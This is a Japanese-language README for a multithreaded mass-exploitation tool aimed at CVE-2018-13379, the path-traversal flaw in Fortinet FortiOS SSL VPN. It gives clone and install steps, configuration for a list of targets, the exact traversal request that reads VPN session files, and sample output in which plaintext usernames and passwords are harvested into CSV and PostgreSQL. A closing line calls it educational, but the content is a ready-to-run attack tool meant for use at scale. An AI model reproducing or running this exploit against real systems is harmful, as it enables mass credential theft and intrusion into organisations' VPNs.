
CVE-2018-13379 のマスエクスプロイター(Fortinet FortiOS SSL VPN 向け)。認証情報を即座に抽出し、CSV + PostgreSQL に保存。マルチスレッド対応、無駄な警告なし。

Fortinet FortiOS SSL VPN の CVE-2018-13379(パストラバーサル)の脆弱性を悪用するマスエクスプロイトツール。セッションファイルを読み取り、ログインIDとパスワードを平文で抽出できます。
/remote/fgt_lang エンドポイントを介した CVE-2018-13379 の悪用fortios_creds_20250120_143052)git clone https://github.com/Instructor-Admin/Multi-threaded-mass-exploiter-CVE-2018-13379-POC.git
cd Multi-threaded-mass-exploiter-CVE-2018-13379-POC
pip3 install requests psycopg2-binary
すべての設定はスクリプト内で直接編集できます — コマンドライン引数をいじる必要はありません:
TARGETS_FILE = "targets.txt" # File with targets (ip:port)
CSV_FILE = "fortios_creds.csv" # Output CSV file
PG_HOST = "127.0.0.1"
PG_PORT = 5432
PG_DB = "fortios_db"
PG_USER = "postgres"
PG_PASSWORD = "password"
THREADS = 20
TIMEOUT = 8
targets.txt を作成します:192.168.1.1:8443
10.0.0.5:10443
172.16.0.1:443
python3 exploit.py
fortios_creds_YYYYMMDD_HHMMSS)出力例:
[+] 100 targets loaded. We're running in 20 threads...
[+] LEAKED: 192.168.1.1:8443
→ Pulled 3 credentials
Wrote 3 credentials to CSV
3 credentials entered into the DB
[-] Not leaky: 10.0.0.1:10443
https://ip:port/remote/fgt_lang?lang=/../../../..///////////dev/cmdb/sslvpn_websession にGETリクエストを送信しますvar fgt_lang(脆弱性のサイン)が含まれているか確認しますusername と password のペアを抽出しますrequestspsycopg2-binary(オプション - これがない場合はCSVファイルのみで動作)urllib3このツールは教育目的および認可されたテストを目的としています。使用による結果はすべて自己責任です。
Unlicense - ご自由にどうぞ。